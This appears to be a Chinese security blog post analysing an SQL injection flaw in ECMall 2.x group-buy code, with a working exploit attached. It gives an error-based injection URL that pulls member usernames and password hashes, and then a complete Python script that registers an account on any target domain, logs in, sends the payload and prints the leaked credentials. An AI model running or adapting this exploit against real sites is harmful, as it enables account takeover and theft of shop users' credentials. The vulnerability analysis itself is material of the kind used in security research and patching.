ecmall 2.x通杀SQL注入漏洞分析及利用 附EXP

作者:Chora 漏洞文件app/buyer_groupbuy.app.php [php] function exit_group() { $id = empty($_GET['id']) ? 0 : $_GET['id']; //没过滤你懂的。 if (!$id) { $this->show_warning('no_such_groupbuy'); return false; } // 判断是否能退团 if (!$this->_ican($id, ACT)) //跟进 { $this->show_warning('Hacking Attempt'); return; } ...... } function _ican($id, $act = '') { ...... $group = current($this->_member_mod->getRelatedData('join_groupbuy', $this->visitor->info['user_id'], array( 'conditions' => 'gb.group_id=' . $id, //带入 'order' => 'gb.group_id DESC', 'fields' => 'gb.state,groupbuy_log.order_id' ))); ...... } eccore/model/mode.base.php function getRelatedData($relation_name, $ids, $find_param = array()) { ...... /* 构造查询条件 */ $conditions = $alias . '.' . $relation_info['foreign_key'] . ' ' . db_create_in($ids); //主键值限定 $conditions .= $relation_info['ext_limit'] ? ' AND ' . $this->_getExtLimit($relation_info['ext_limit'], $alias) : ''; $conditions .= is_string($find_param['conditions']) ? ' AND ' . $find_param['conditions'] : ''; $find_param['conditions'] = $conditions; //带入 ...... return $model->find($find_param);//跟进 } function find($params = array()) { extract($this->_initFindParams($params)); /* 字段(SELECT FROM) */ $fields = $this->getRealFields($fields); $fields == '' && $fields = '*'; $tables = $this->table . ' ' . $this->alias; /* 左联结(LEFT JOIN) */ $join_result = $this->_joinModel($tables, $join); /* 原来为($join_result || $index_key),忘了最初的用意,默认加上主键应该是只为了为获得索引的数组服务的,因此只跟索引键是否是主键有关 */ if ($index_key == $this->prikey || (is_array($index_key) && in_array($this->prikey, $index_key))) { /* 如果索引键里有主键,则默认在要查询字段后加上主键 */ $fields .= ",{$this->alias}.{$this->prikey}"; } /* 条件(WHERE) */ $conditions = $this->_getConditions($conditions, true); /* 排序(ORDER BY) */ $order && $order = ' ORDER BY ' . $this->getRealFields($order); /* 分页(LIMIT) */ $limit && $limit = ' LIMIT ' . $limit; if ($count) { $this->_updateLastQueryCount("SELECT COUNT(*) as c FROM {$tables}{$conditions}"); } /* 完整的SQL */ $sql = "SELECT {$fields} FROM {$tables}{$conditions}{$order}{$limit}"; return $index_key ? $this->db->getAllWithIndex($sql, $index_key) : $this->db->getAll($sql); //带入查询,结束. } [/php]   利用方法:http://localhost/ecmall/index.php?app=buyer_groupbuy&act=exit_group&id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b   EXP from Seay   [php]
#coding=utf-8
#author:Seay
#blog:www.cnseay.com

import HTMLParser  
import urlparse  
import urllib
import urllib2  
import cookielib  
import string  
import re
import sys

target = 'www.cnseay.com'
user_name = 'makelove'
password = 'onebyone'
email = 'makelove@daybyday.com' def my_urlencode(str) :
    reprStr = repr(str).replace(r'\x', '%')
    return reprStr[1:-1]

def reguser():

    print('user register...')
    hosturl = 'http://' + target + '/index.php'

    posturl = 'http://' + target + '/index.php?app=member&act=register&ret_url='

    cj = cookielib.LWPCookieJar()  
    cookie_support = urllib2.HTTPCookieProcessor(cj)  
    opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)  
    urllib2.install_opener(opener)  

    h = urllib2.urlopen(hosturl)  

    headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',  
               'Content-Type' : 'application/x-www-form-urlencoded'}  

    postData = {'user_name' : user_name,  
                'password' : password,  
                'password_confirm' : password, 
                'email' : email, 
                'agree' : '1', 
                }  

    postData = urllib.urlencode(postData)  

    request = urllib2.Request(posturl, postData, headers)
    urllib2.urlopen(request)  

def login_exploit():

    print('user login...')
    hosturl = 'http://' + target + '/index.php' 

    posturl = 'http://' + target + '/index.php?app=member&act=login&synlogout=1'

    headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',  
               'Content-Type' : 'application/x-www-form-urlencoded'}  

    postData = {'user_name' : user_name,  
                'password' : password,  
                }  

    cj = cookielib.LWPCookieJar()  
    cookie_support = urllib2.HTTPCookieProcessor(cj)  
    opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)  
    urllib2.install_opener(opener)  

    postData = urllib.urlencode(postData)  

    request = urllib2.Request(posturl, postData, headers)

    response = urllib2.urlopen(request)  

    print('exploit...\n')
    url='http://'+target+'/index.php?app=buyer_groupbuy&act=exit_group&id='+urllib.quote('1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b')
    cookies = response.headers["Set-cookie"].split(";")[0]

    request = urllib2.Request(url) 
    request.add_header('Cookie', cookies)
    request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0')

    response = urllib2.urlopen(request)

    text = response.read() 
    response.close()

    prog = re.search("Duplicate entry '1(.*)' for key",text)
    try:
        print('Success:'+prog.groups()[0])
    except:
        print('Sorry,failed')

if __name__ == '__main__':
    if len(sys.argv)<2:
        print('argument error')
        print('example: '+sys.argv[0]+' domain')
        exit(0)
    target=sys.argv[1]
    reguser()
    login_exploit()
[/php]

发表评论